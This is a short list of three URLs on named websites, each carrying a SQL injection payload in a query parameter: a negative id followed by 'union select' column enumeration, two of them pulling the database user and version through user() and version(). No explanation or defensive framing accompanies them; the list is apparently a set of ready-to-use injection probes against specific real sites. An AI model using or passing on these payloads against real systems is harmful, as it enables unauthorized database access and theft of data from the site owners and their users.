http://www.michaelpollan.com/article.php?id=-32+union+select+1,2,3,4,5,6,7,8,9,10/*

http://www.nivisec.com/article.php?l=vi&ar=-15+union+select+1,2,3,concat(user(),0x3a,version()),5,6/*

http://duckhenge.uoregon.edu/io/article?id=-264+union+select+1,version(),3,4,5,6,7,user(),9,10,11,12,13,14,15,16/*